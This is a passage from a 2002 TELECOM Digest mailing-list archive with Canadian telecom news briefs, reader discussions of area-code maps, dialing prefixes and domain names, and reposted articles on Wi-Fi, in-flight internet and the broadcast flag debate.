http://www.crtc.gc.ca/archive/ENG/Decisions/2002/dt2002-75.htm VIDEOTRON HEARING ADJOURNED: On the request of Videotron and sports broadcaster RDS, the CRTC adjourned last Monday's public hearing because the parties said they were nearing agreement on the payments Videotron owes RDS. If the two don't agree by January 13, the hearing will reconvene. (See Telecom Update #360) ** Separately, the Federal Court of Appeal has granted Videotron's parent company, Quebecor Media, permission to appeal the CRTC's original order directing Videotron to pay the outstanding amounts to RDS (Broadcasting Decision 2002-255). No date has been set for the appeal. CABLE MODEMS FOR THIRD-PARTY INTERNET ACCESS: In Telecom Public Notice 2002-7, the CRTC expresses its preliminary view that ISPs who wish to provide high-speed Internet service over cable TV facilities should use DOCSIS 1.1-compliant cable modems certified by CableLabs and tested by the cable carrier in question. To comment, notify the CRTC by January 10. http://www.crtc.gc.ca/archive/ENG/Notices/2002/pt2002-7.htm TEXT MESSAGING DOUBLES IN EIGHT MONTHS: The Canadian Wireless Telecommunications Association says that Canadians sent more than 20 million wireless text messages in November, double the level in April, when inter-carrier messaging was introduced. SHAW TO CUT CAPITAL SPENDING 50%: CEO Jim Shaw told Shaw Communications' annual meeting December 4 that the cableco plans $335 million in capital spending next year, down from $683 million in 2002. Shaw expects to sell U.S. cable assets this month; it plans no telephony venture in the next five years. TELUS TO PROVIDE CPC OPERATOR SERVICE: Telus expects to gain $1.2 million in revenue from a new three-year agreement to provide operator services for Canada Payphone Corp. ** CPC reports $3.1 million revenue and a $5.0 million loss for the year ending September 30. RANDY BENSON LEAVES CALL-NET: Call-Net CEO Randy Benson has resigned, effective December 31. No replacement has been announced. (See Telecom Update #231) CERTICOM LOSSES NARROW: Mississauga-based Certicom, which makes wireless security products, had a US$1.7 million loss in the three months ended October 31, compared to a $22.8 million loss a year ago. Revenue declined 4% to $2.6 million; operating expenses fell 68%. VIDEO CONFERENCING'S NEW LOOK: In Telemanagement #200, John Riddell reports on new technology and services that make video conferencing more accessible and affordable. Also in the current issue: ** The Slow Advent of IP Centrex ** Eight Questions on IP Telephony ** High-Speed Internet: The Two-Way Satellite Option While supplies last, single copies of this special issue are available now for $75 each -- call 905-686-5050 ext 500 and charge to Visa, American Express, or Mastercard. A 10-issue subscription saves you 49% off the single-issue price -- go to the Telemanagement subscription page. ============================================================ HOW TO SUBMIT ITEMS FOR TELECOM UPDATE E-MAIL: editors@angustel.ca FAX: 905-686-2655 MAIL: TELECOM UPDATE Angus TeleManagement Group 8 Old Kingston Road Ajax, Ontario Canada L1T 2Z7 =========================================================== HOW TO SUBSCRIBE (OR UNSUBSCRIBE) TELECOM UPDATE is provided in electronic form only. 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For further information, including permission to reprint or reproduce, please e-mail rosita@angustel.ca or phone 905-686-5050 ext 500. The information and data included has been obtained from sources which we believe to be reliable, but Angus TeleManagement makes no warranties or representations whatsoever regarding accuracy, completeness, or adequacy. Opinions expressed are based on interpretation of available information, and are subject to change. If expert advice on the subject matter is required, the services of a competent professional should be obtained. ------------------------------ Date: Mon, 09 Dec 2002 06:39:44 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: Re: How Good is Your Phone Directory's Area Code Map? Linc Madison wrote: > I'd like to ask the readers of this forum to help me with a little > informal, non-scientific survey on a subject near and dear to my > heart ... Here in Northern Utah, we have three telephone directories: ======= QWEST =========== Qwest's area-code map in the Ogden/North Davis [Utah] directory for 2002-2003 is amazingly accurate. A few recent codes are missing (e.g., 325, 432, 575, 689), but most of these haven't implemented anyway. Requested info: > city, state/province, and cover date of the directory (e.g.... Ogden, Utah: ""QwestDex Ogden/North Davis."" Cover date: ""Use through June 2003."" > dominant LEC(s) in the directory's service area > (e.g., 80% SBC/Ameritech, 20% Verizon/GTE) Qwest is dominant ILEC, at 100% as far as I know. CLECS listed in the Qwest directory: AT&T (residential and business) Electric Lightwave (business only) Integra Telecom (business only) Ionex (residential-vs.-business not specified) McLeodUSA (residential and business) Mpower Communications (business only) 1-800-RECONEX (residential-vs.-business not specified) PAC WEST Telecom Inc. (business only) Tel West Communications LLC (residential and business) > publisher of the directory (especially if it's not the dominant > LEC) QuestDex, Copyright 2002 Quest Communications International, Inc. ======= PHONE DIRECTORIES COMPANY =========== This directory includes an area-code map provided by MapQuest. It's not as accurate as Qwest's, but acceptable for most purposes. Specific errors I noted: Several codes are missing; e.g. 325, 385, 424, 432, 475, 575, 667, 709, 780, 959 (but, curiously, 689 *is* shown). 867 is missing from the main map, although a sliver of it is shown on the Alaska inset. 902 is identified as Nova Scotia only. 917 is identified as Manhattan only. Requested info: > city, state/province, and cover date of the directory (e.g.... Ogden, Utah: ""Mt. Ogden Phone Directory."" Cover date: ""2002-2003."" > dominant LEC(s) in the directory's service area > (e.g., 80% SBC/Ameritech, 20% Verizon/GTE) See Qwest, above. > publisher of the directory (especially if it's not the dominant > LEC) Directory: Copyright 2003 (sic) Phone Directories Co., Inc. Area Code map: Copyright 2002 MAPQUEST. ======= TRANSWESTERN PUBLISHING =========== This directory includes a 1999 area-code map provided by Aegis Publishing; it's the least accurate of the three. Specific errors I noted: 424 is shown as an overlay, rather than a split. 867 isn't shown on the map at all; in an accompanying list, it's identified only as ""NT"", ignoring the other two territories. Many recent codes are missing; e.g.: 229, 239, 260, 262, 269, 289, 321, 325, 337, 347, 385, 386, 432, 445, 470, 475, 478, 479, 563, 571, 574, 575, 585, 620, 631, 641, 646, 647, 667, 682, 682, 687, 689, 731, 754, 763, 772, 835, 859, 863, 865, 878, 928, 936, 939, 952, 959, 971, 979, 980, 984, 989 (and probably more, but I lost count). Requested info: > city, state/province, and cover date of the directory (e.g.... Ogden, Utah: ""Northern Utah Regional Telephone Directory."" Cover date: ""Use thru September 2003."" > dominant LEC(s) in the directory's service area > (e.g., 80% SBC/Ameritech, 20% Verizon/GTE) See Qwest, above. > publisher of the directory (especially if it's not the dominant > LEC) Directory: TransWestern Publishing (no copyright notice). Area Code map: Copyright 1999 Aegis Publishing Group, Newport, RI. Linc: If you'll provide a mailing address, I'll send copies of these maps to you. Neal McLain nmclain@annsgarden.com ------------------------------ From: ian@jardine.net (Ian) Subject: Re: Changing to ECG Long Distance Date: 9 Dec 2002 09:53:38 -0800 Organization: http://groups.google.com/ I do have two lines and Verizon told me Fees would Total $15.00 inlcuding AT&T charges. The changeover of carrier was done by Verizon, while I was on the phone with them. It took 5 minutes:) ------------------------------ From: rgpnyc@yahoo.com (Rich) Subject: SL-1 Incoming Cot Call Routing Date: 9 Dec 2002 10:59:42 -0800 Organization: http://groups.google.com/ I have been trying to figure this one out, but have been unable to find a solution. Currently our system handles incoming calls via T1 and outgoing calls via several cots. The problem that I have is that when someone places a call, the number that shows and registers in the caller ID is the cot number and not the actual DN. There has been several occassions where a prank call has been placed and the individual calls back the cot number. The cot number is setup to route to the attendant. I hav been trying to change this for the last two days. Is there a way to route to a partuicular DN or a RAN route? Your help is greatly appreciated! thanks. ------------------------------ From: Joey Lindstrom Date: Mon, 09 Dec 2002 13:02:54 -0700 Subject: .us Reply-To: joey@lairdsflooring.com On Sun, 8 Dec 2002 16:26:06 EST, editor@telecom-digest.org wrote: > [TELECOM Digest Editor's Note: And don't forget '.us' as one in > somewhat infrequent use. PAT] Ah, but .us is like .ca, .uk, etc.: a ccTLD, and we were only speaking of non-ccTLD's. Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ From: MIGUEL.PIRES@PORTUGALMAIL.PT (M Pires) Subject: MAP (Mobile Application Part) v3 Date: 9 Dec 2002 06:15:47 -0800 Organization: http://groups.google.com/ Hi everyone! I couldn't find any info related with this on any of the FAQs so if I am repeating something please apologize and kindly redirect me to the appropriate site. My question is related to the Mobile Application Part, application context 3. What I want to know is, what advantages are there in migrating to MAP v3? Does it have anything to do with GPRS? Does GPRS need MAP v3? What new functionalities are available with MAP v3?? Thank you very much! ------------------------------ From: J Kelly Subject: Re: WebCam: A Sight for Sore Eyes Date: Mon, 09 Dec 2002 08:53:31 -0600 Organization: http://extra.newsguy.com On Sun, 08 Dec 2002 00:10:49 GMT, TELECOM Digest Editor wrote: > What I really > want is software that can take in images from my cam, and put them > back out on my web page, enabling any number of viewers. Check out this one. http://www.visiongs.com/ I've used it a bit and it seems pretty good. There is a free personal version available. ------------------------------ From: mr-dan@iname.com (MrDan) Subject: Re: WebCam: A Sight for Sore Eyes Date: 9 Dec 2002 01:23:22 -0800 Organization: http://groups.google.com/ > I *could* do this with cameraware.com but there is no way to do a > redirect (in a frame for example) TO MY PAGE ONLY (thus bypassing > all the rauchy stuff elsewhere on the site.) I have tried, but the > outbound pages at cameraware are written in some exceptionally tricky > javascripts. I cannot get around them ... that I know of. CameraWare allows you to setup a PRIVATE camera and a PRIVATE applet to view it. This allows you to eliminate all of the adult materials. See: http://www.cameraware.com/webmasters/webmasters.html#privatecam Dan E. ------------------------------ From: phil@mckerracher.org (Phil McKerracher) Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: 9 Dec 2002 03:33:26 -0800 Organization: http://groups.google.com/ PaulCoxwell@aol.com wrote in message news:: >> Mark J Cuccia wrote in message >> news:: >>> ....Should the US/Canada (NANP) adopt 00+ for (sent-paid) IDDD (alongside >>> 011+) _JUST_ to ""conform"" to Europe (and most rest of the world) ????? >>> Absolutely _NOT_, and here's why ... >>> WHY SHOULD _WE_ change? I'm not asking Europe or other parts of the >>> World to change to NANP procedures, but WHY MAKE US change or modify >>> anything?... >> Typical American xenophobia, if I may say so. > Xenophobia? I think that's an unjust accusation. OK, wrong word I agree. It's not a fear of foreigners it's indifference. Call it arrogance. > Is it ""making it hard"" for travelers to expect them to dial 011 > instead of 00 for an international call? Yes, it's a pain. At one stage I was travelling regularly between the UK, US and Oz and remembering which country was 011, 0011 or 010 was very confusing. I'm still not sure which was which. It's not always easy to discover the correct code. And it's unnecessary. > ...going to have a > hard time coping with more mundane, and possibly risky situations, > such as learning who has priority at a 4-way stop sign... Exactly! Another unnecessary, expensive and in this case dangerous difference. > America should do away with those useful devices as well, just because > Europe doesn't use them and they might confuse visitors?... Well, no, the general idea when standardizing is that you keep the good bits and throw out the bad. In fact, I believe this principle is enshrined in law in the EEC harmonization arena. > ... I'd bet that 90% of people in the U.K. (and many other European > countries) do not know their own country code in any case ... Hmm. Is there money on offer here? :-) > If anyone is going to change, it could be argued that 011 was > established as an IDDD prefix standard (an international standard, > let's add!) long before 00 gained popularity and that therefore Europe > should adopt 011. I don't follow the bit about it being an international standard, but I've got no problem whatever with adopting any particular code. We've already changed IDD and emergency numbers in the UK (and just about every other number as well!). I imagine there are practical reasons for the choice of 00 over 011, and I admit that it's quite possible that these same practical reasons prevent the Merkins doing the opposite change. But that's not what the original rant was about. Phil McKerracher www.mckerracher.org ------------------------------ Date: Mon, 9 Dec 2002 03:14:04 -0500 From: Monty Solomon Subject: Wi-Fi Internet Access Is Hot, But Profit Potential Is Tepid By BARNABY J. FEDER With the Wi-Fi wireless Internet access standard becoming a bandwagon that even big players like AT&T, I.B.M. and Intel are joining, equipment companies big and small are hoping to ride along. But many industry analysts say it could be hard to make money in Wi-Fi, which is unlikely to represent more than a tiny fraction of the overall telecommunications equipment market for at least several years. Many of the early leaders in Wi-Fi are obscure companies like Proxim, Buffalo, Linksys and Dlink. And those that do not sell gear directly to consumers must rely on selling to Wi-Fi service providers that are themselves start-ups still trying to find their way, companies like Boingo Wireless, HereUAre Communications, FatPort and Surf and Sip. The service providers set up ""hot spots"" at places like airport lounges or Starbucks coffee shops, where anyone with a laptop computer or other device equipped for Wi-Fi can go online. While analysts hesitate to predict that any of these companies will survive to become widely recognized brands like Netscape, the resemblance to the Internet craze of the 1990's has been widely noted. http://www.nytimes.com/2002/12/09/technology/09WIFI.html ------------------------------ Date: Mon, 9 Dec 2002 03:18:54 -0500 From: Monty Solomon Subject: Fliers Will Soon Be Able to Go Online on Board By MATTHEW L. WALD WASHINGTON - THE Internet, pervasive wherever planes land, is now penetrating higher altitudes as well. The other ubiquitous communications tool of travelers, the cellphone, might follow in the cabin with some technical changes, but not immediately. On Jan. 15 Lufthansa will begin offering Internet connections on a single Boeing 747-400, the latest model, that flies daily between Dulles International Airport and Frankfurt. It will offer the same service in its Senator lounges in New York, Frankfurt and D�sseldorf. The Internet system on the Lufthansa plane uses the most technologically advanced communications system aloft, satellite connection, already common on corporate jets. It employs an antenna on the top of the plane; the type of satellite dish common on the ground would not be practical, because it would have to be repointed as the plane moved. The antenna can be steered electronically, and over the Atlantic it can refocus from one satellite over North America to another over Europe without interrupting a download, according to Connexion by Boeing, the Boeing subsidiary that built the system. http://www.nytimes.com/2002/12/08/travel/08rep.html ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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End of TELECOM Digest V22 #172 ****************************** >From editor@telecom-digest.org Mon Dec 9 22:45:03 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBA3j3k25069; Mon, 9 Dec 2002 22:45:03 -0500 (EST) Date: Mon, 9 Dec 2002 22:45:03 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212100345.gBA3j3k25069@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #171 TELECOM Digest Mon, 9 Dec 2002 16:04:00 EST Volume 22 : Issue 171 Inside This Issue: Editor: Patrick A. Townson All CD Orders Mailed, Accounted For (TELECOM Digest Editor) EFF Rejects Broadcast Flag; Urges FCC to Stop Hollywood (Monty Solomon) Need Canadian LD Company; Need to Call Canada-Only 800 Number (Mark) Re: Number Read Back Service (KevinM) Re: 011+ From NANP vs. 00+ From Most of World (Owain) Re: Tech Titans Launch Wi-Fi Company (John Higdon) Re: Ten TLD's (blank no spam) ""dot kids"", was Re: Ten TLD's (Danny Burstein) Re: Carrier Lookup (Robert Woolley) Cingular Reveals Incoming Blocked Numbers (Monty Solomon) Satellite is Dishing Out Competition to Cable (Monty Solomon) Wal-Mart Backs Away From DMCA Claim (Monty Solomon) Cordless - HELP (Shahrukh) Re: How Good is Your Phone Directory's Area Code Map? (Paul Coxwell) Open Application Platform (Christoph) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Mon, 9 Dec 2002 01:00:52 EST From: TELECOM Digest Editor Subject: All CD Orders Mailed, Accounted For All orders for the Telecom Archives CD received as of Friday, 12/6 have been transmitted to Joey, and have been mailed out as of Sunday, 12/8. There may be one exception, that of Mr. Quinn in Springfield, VA which I screwed up in transmitting to Joey, and that has also been handled on a rush basis as of earlier Sunday night. So if you ordered it with Paypal Friday 12/6 or earlier and have not yet received it (by Tuesday or Wednesday 12/9 - 12/10 at the latest in the US Mail) then PLEASE LET ME KNOW IN EMAIL RIGHT AWAY. You, Mr. Quinn, should have yours 'soon' around that time (frown with apologies for my bad!). Remember, anyone who ordered one prior to this past Friday via PayPal should have it in the next day or three. If you ordered it in US Mail with a check, all of those were transmitted to Joey as they came in, and my box was empty on this past Friday. Unless the snail mail was in the past several days or the PayPal thing was since Friday, you *should* have your CD by now or around Tuesday or Wednesday at latest. TELL ME OR JOEY IF YOU DO NOT FOR SOME REASON. PAT ------------------------------ Date: Mon, 9 Dec 2002 12:49:04 -0500 From: Monty Solomon Subject: EFF Rejects Broadcast Flag ; Urges FCC to Stop Hollywood from http://www.eff.org/IP/Video/HDTV/20021209_eff_bpdg_pr.html Electronic Frontier Foundation Rejects Broadcast Flag Urges FCC to Stop Hollywood from Dominating Technology San Francisco - The Electronic Frontier Foundation (EFF) on Friday rejected Hollywood's ""Broadcast Flag"" proposal, advising the Federal Communications Commission (FCC) to set aside Hollywood's latest bid to undermine fair use and stymie innovation. EFF filed comments with the FCC opposing the Broadcast Flag proposal because the proposal would give Hollywood unwarranted control over the development of digital television (DTV) and related technologies to the detriment of creators and consumers of the technologies. ""A broadcast flag mandate is an ineffective solution to a non-existent problem,"" explained EFF in its comments on the proposed rulemaking submitted to the FCC. ""At the same time, any broadcast flag mandate will impose genuine and substantial costs on consumers and innovators. It would raise the cost of DTV devices while reducing the value that they represent to consumers. It would stifle innovation in DTV and general-purpose technologies. It would abridge the First Amendment freedoms of software authors. All of this,in the end, will impede, rather than encourage, the transition to DTV."" The Broadcast Flag -- a signal to be added to all DTV broadcasts -- is a critical weapon in Hollywood's arsenal aimed at strangling innovation and fair use. In the ""Content Protection Status Report,"" the entertainment industry sets out a roadmap for giving entertainment companies control over the design of general-purpose computers, over analog-to-digital converters, and over the Internet itself. The FCC initiated the Broadcast Flag proceedings last summer after receiving a letter from Senator Ernest ""Fritz"" Hollings, author of the Consumer Broadband and Digital Television Promotion Act (CBDTPA). The CBDTPA is a sweeping proposal that would require technologists to seek permission from entertainment companies prior to making new technologies available to the public. Industry observers have described the Broadcast Flag as a ""mini-CBDTPA."" EFF has led the effort to educate the public about the Broadcast Flag, attending every meeting of the Motion Picture Association of America's Broadcast Protection Discussion Group and popularizing relevant issues on the ""Consensus at Lawyerpoint"" weblog. Links: For this release: http://www.eff.org/IP/Video/HDTV/20021209_eff_bpdg_pr.html EFF comments to FCC on Broadcast Flag proposal: http://www.eff.org/IP/Video/HDTV/20021206_fcc_comments.html Consensus at Lawyerpoint weblog: http://bpdg.blogs.eff.org/ GNU Radio: http://www.gnu.org/software/gnuradio/gnuradio.html EFF ""Intellectual Property - Video - HDTV/BPDG/Digital Television/Digital Cable"" archive: http://www.eff.org/IP/Video/HDTV/ About EFF: The Electronic Frontier Foundation is the leading civil liberties organization working to protect rights in the digital world. Founded in 1990, EFF actively encourages and challenges industry and government to support free expression and privacy online. EFF is a member-supported organization and maintains one of the most linked-to websites in the world at http://www.eff.org/ Contact: Cory Doctorow Outreach Coordinator Electronic Frontier Foundation cory@eff.org +1 415 436-9333 x106 (office) Seth Schoen Staff Technologist Electronic Frontier Foundation schoen@eff.org +1 415 436-9333 x107 Fred von Lohmann Senior Intellectual Property Attorney Electronic Frontier Foundation fred@eff.org +1 415 436-9333 x123 (office) ------------------------------ From: nanoburst@yahoo.com (Mark) Subject: Need Canada LD Company; I Need to Call Canada-Only 800 Number Date: 9 Dec 2002 09:31:15 -0800 Organization: http://groups.google.com/ I'm in the U.S., and I want to be able to dial a Canadian toll-free number that is only accessible if dialed from within Canada. And unfortunately the company that I'd like to call doesn't have a non-toll-free number that I can use instead, so it's the toll-free number or nothing. The simplest solution that I can think of is for me to subscribe to a Canadian long-distance provider that I can use by first calling into their dial-up access number, and then dialing the number that I want to reach. As long as the long distance company's switch is a Canadian area code, my call to the Canadian toll-free number should go through. So, I'm looking for any long-distance company on whose network my call would originate from a Canadian area code. I would prefer that this company's dial-up access numbers themselves also be non-toll-free, but this is not crucial. Some companies that provide the long-distance service that I seek require, unfortunately, that their users also sign-up for residential long distance from this company, too. But this is something that I'm not willing to do, even if, by chance, the provider in question provides residential service in California. (For an approximation of what kind of service I'm looking for, see http://www.accuchat.com , which I use within the U.S.) Another possible solution would be for me to use a Canadian phone card (of the type that you buy in convenience stores). However, most of those use toll-free numbers for access and I'd guess that many such cards generate calls that originate from U.S. area codes, which wouldn't work. But a Canadian phone card with non-toll-free local access numbers in a Canadian area code would probably work for me. And since I'm in California (far from all Canadian convenience stores), I'd like to be able to have a phone card shipped to me (unless I can locate a company that, like AccuChat, doesn't need to put a physical card in my hand to allow me access, but rather performs direct billing to my credit card). (It's possible that some of what I wrote above is simply wrong, in which case please set me straight.) Anyone have suggestions for me? Mark Berkeley, California [TELECOM Digest Editor's Note: In about 99 percent of the instances of toll free numbers these days, there is no actual termination of a phone instrument and wire pair exclusively for 800 service. In most cases the number *upon which 800 calls are terminated* is a dialable ten digit number like all other numbers. In a switch somewhere, the 800 number is terminated, and programmed to dial out to the ten digit number. Your message said the receiver has no other phone service 'except for the 800 number' and while that could possibly be correct, as stated above, in about 99 percent of the instances of toll free numbers these days it is not correct. The switch may look at the calling number, and if it is a USA area code then refuse to handle it further. That seems to be the problem you are having. Won't the company (or person) involved tell you what the ten-digit number is? That would be an infinitly better/easier way to deal with your problem, by simply dialing the 'real' number instead of trying to find a company to allow what you are asking. Is this to be a one or two time call, or is it to be an ongoing thing where the charges to call the ten digit Canadian number would mount up after awhile? PAT] ------------------------------ From: kmclinden@yahoo.com (KevinM) Subject: Re: Number Read Back Service Date: 8 Dec 2002 11:47:41 -0800 Organization: http://groups.google.com/ Stanley Cline wrote in message news:: > On Mon, 02 Dec 2002 22:37:01 GMT, tonypo1@cox.net wrote: >> Similar to Ureach, my USADatanet 800 service delivers realtime ANI as >> CNID when someone calls me via that service. Quite convenient but then > ...as does Kall 8. :) > Stanley Cline -- sc1 at roamer1 dot org -- http://www.roamer1.org/ A good way to find these numbers is to do a Google search on the term ""ANAC"" - telco term for Automatic Announcement Channel. ------------------------------ From: spuorgelgoog@gowanhill.com (Owain) Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: 8 Dec 2002 12:54:36 -0800 Organization: http://groups.google.com/ PaulCoxwell@aol.com wrote: > Now, should *we* change to 911, or should America switch to 999? Or > maybe 112? ;) Perhaps we should wait for those parts of America which still don't have 911 to catch up to that point first. Owain ------------------------------ From: John Higdon Subject: Re: Tech Titans Launch Wi-Fi Company Organization: Green Hills and Cows Date: Sun, 08 Dec 2002 14:07:52 -0800 In article , Tom Betz wrote: > By the time this gets up and running, true 3G (not that ""2.5G"" crap) will > provide all the bandwidth mobile users will need at reasonable all-you-can- > eat prices. ""All the bandwidth mobile users will need?"" I find that rather presumptuous on its face. As far as ""all-you-can-eat"" prices are concerned, when I see the cellular companies EVER offering such a thing, I'll believe it. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Subject: Re: Ten TLD's Organization: Prodigy Internet http://www.prodigy.com Date: Sun, 08 Dec 2002 23:09:04 GMT John Higdon wrote: > You forgot .kids, which is to be free of any adult material. But I > don't need to update my spam filter. It is an ""opt-in"" system that > considers non-listed TLDs to be bogus. Odd that no one has corrected this ... it's .kids.us which means it isn't a ""new"" TLD but just a 2nd level part of .us see http://www.sfgate.com/cgi-bin/article.cgi?file=/news/archive/2002/12/04/national1647EST0739.DTL Ari at usa dot net ------------------------------ From: danny burstein Subject: dot kids, was: Re: Ten TLD's Date: Sun, 8 Dec 2002 23:51:01 UTC Organization: PANIX Public Access Internet and UNIX, NYC In Joey Lindstrom writes: > Aside to John Higdon. .kids doesn't exist. If you're going to be > paranoid, at least have the grace to be paranoid about the real world. > :-) Some other posters made similar comments about "".kids"". However, the current President Bush made a big deal of signing the ""dot kids implementation"" legislation last week. I'm not absolutely sure whether this is actually a "".kids"" tld, but it looks like it. My hesitancy is from the following comment in the press release: ""Dot Kids will be part of the U.S. country domain on the Internet."" The rest of the release, as well as the video coverage I saw and the news stories I read, make it sound like "".kids"" is the tld. So I dunno. For further details: http://www.whitehouse.gov/news/releases/2002/12/20021204-1.html Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ From: Robert Woolley Subject: Re: Carrier Lookup Date: Mon, 09 Dec 2002 00:28:59 +0000 On Thu, 05 Dec 2002 02:24:54 -0800, Linc Madison wrote: > As for the UK, a previous response indicated that they already have > full portability of wireless numbers, leaving no easy way to tell the > carrier. For obvious reasons (separate area code ranges), the UK does > not and will not have portability between wireless and landline > carriers. The lack of wireless/landline is more to do with the vastly differing charge rates involved. Rob rob at robertwoolley dot co dot uk ------------------------------ Date: Mon, 9 Dec 2002 00:15:12 -0500 From: Monty Solomon Subject: Cingular Reveals Incoming Blocked Numbers Cingular Wireless recently changed the format of their monthly phone bills. One of the changes is that the incoming phone number now appears on the bill for each incoming call. This is a nice feature, except that incoming blocked numbers are also appearing on the bill. This means that my blocked numbers are probably showing up on someone else's Cingular Wireless bill. Has anyone else here noticed this behavior? How is the Cingular switch getting access to the blocked incoming phone number? Is it legal for them to acquire and then disseminate blocked phone numbers? Thanks. Monty ------------------------------ Date: Mon, 9 Dec 2002 02:10:00 -0500 From: Monty Solomon Subject: Satellite is Dishing Out Competition to Cable CONSUMER BEAT By Bruce Mohl, 12/8/2002 Furious about AT&T Broadband's plan to hike cable TV rates 7.8 percent in January, Bert Gay of Jamaica Plain says the company is a monopoly run amok. ""I have no other option for cable service other than AT&T,"" Gay said. ""Where are the legislators and regulatory watchdogs? I urge all AT&T subscribers dissatisfied with this pattern of behavior to contact the city of Boston, the state attorney general's office, and their own legislators."" What about calling DirecTV? AT&T may be facing limited competition from RCN Corp. and municipal cable systems, but satellite operators like DirecTV and Dish Network are offering consumers a real choice. The satellite companies can't match AT&T's ability to bundle telecommunication services, but they have siphoned video-oriented customers away from cable by generally offering more value, better sound, a better picture, and a much better track record for holding the line on price increases. http://www.boston.com/dailyglobe2/342/business/Satellite_is_dishing_out_competition_to_cable+.shtml ------------------------------ Date: Mon, 9 Dec 2002 02:38:50 -0500 From: Monty Solomon Subject: Wal-Mart Backs Away From DMCA Claim By Declan McCullagh Staff Writer, CNET News.com December 5, 2002, 5:31 PM PT Wal-Mart said on Thursday that it would not pursue copyright claims against a bargain-shopping site that posted details about ""Black Friday"" sales. In a closely watched move, the mega-retailer invoked the controversial Digital Millennium Copyright Act (DMCA) last month to force FatWallet.com to delete a list of products and prices scheduled to appear in Black Friday advertisements. Wal-Mart then sent a special DMCA subpoena to FatWallet asking for the identity of the person who posted the details on the site. Black Friday is the day after Thanksgiving each year when retailers, legend has it, go ""in the black"" and start to make money. But after a law clinic at the University of California at Berkeley stepped in and said it would represent FatWallet and fight the subpoena, Wal-Mart backed down. http://news.com.com/2100-1023-976296.html ------------------------------ From: europeshahrukh@hotmail.com (Shahrukh) Subject: Cordless - HELP Date: 8 Dec 2002 23:42:25 -0800 Organization: http://groups.google.com/ I want a pair of a very small cordless ear phone (which can be placed inside the ear, so that nobody can see it) and a very small cordless mic (which can remain hidden behind my shirt) , which can communicate to another unit or another pair of the same equipment. Is it available. If so, from where can I get it ?? Thanks in advance. ------------------------------ From: PaulCoxwell@aol.com Date: Sun, 8 Dec 2002 17:35:17 EST Subject: Re: How Good is Your Phone Directory's Area Code Map? > I'd like to ask the readers of this forum to help me with a little > informal, non-scientific survey on a subject near and dear to my > heart. Specifically, I'd like to know what U.S. and Canadian readers > think of the quality of the area code map printed in the front of your > local phone book. (Readers from other parts of the world, I'd be > interested to know if your directories have similar maps, or only > lists of cities and towns.) Is it current? Is it accurate? > If you choose to participate in this survey, please include the > following information: > * city, state/province, and cover date of the directory (e.g., > Foo-barre, IN, September 2002) > * dominant LEC(s) in the directory's service area (e.g., 80% > SBC/Ameritech, 20% Verizon/GTE) > * publisher of the directory (especially if it's not the dominant LEC) > I'm particularly interested to hear how well the smaller players > compare to the big boys. The U.K. directories issued by British Telecom do not have maps, but all contain a complete alphabetical list of exchanges along with their area codes. Mine happens to be the April 2002 issue for Norwich & North Norfolk, although the format is the same throughout the country. Except for some small cable services in a couple of towns, local loops in this area are almost exclusively serviced by BT. The code listings are kept up to date well, and the BT phone books generally incoporate any upcoming changes, giving the transitional and mandatory dialing dates when known at publication. The directories also include a comprehensive list of international country codes, although they've stopped including selected city/area codes for overseas calls now. We have a separate BT-published book available for a small charge which includes the main alphabetical exchange list and a reverse look up by area code and prefix. This one includes selected overseas area codes. Although the national section is good, the international part tends to be rather patchy on details and is sometimes slow to be updated. It also contains one or two errors in some cases. Paul Coxwell Norfolk, U.K. ------------------------------ From: christoph@baikalplan.de (Christoph) Subject: Open Application Platform Date: 8 Dec 2002 11:33:40 -0800 Organization: http://groups.google.com/ Hi! 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #171 ****************************** NOTE: Issue 172 delivered out of order. It appears ahead of 171 in this archives. >From editor@telecom-digest.org Tue Dec 10 15:04:52 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBAK4qR15477; Tue, 10 Dec 2002 15:04:52 -0500 (EST) Date: Tue, 10 Dec 2002 15:04:52 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212102004.gBAK4qR15477@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #173 TELECOM Digest Tue, 10 Dec 2002 15:04:00 EST Volume 22 : Issue 173 Inside This Issue: Editor: Patrick A. Townson Mobile Phone Market Rebounding in 2002 - Study (Monty Solomon) Re: 011+ From NANP vs. 00+ From Most of World (Linc Madison) Re: Carrier Lookup (Linc Madison) Re: Cingular Reveals Incoming Blocked Numbers (Linc Madison) Re: Cingular Reveals Incoming Blocked Numbers (John Higdon) Re: Cingular Reveals Incoming Blocked Numbers (Paul A Lee) Re: Cingular Reveals 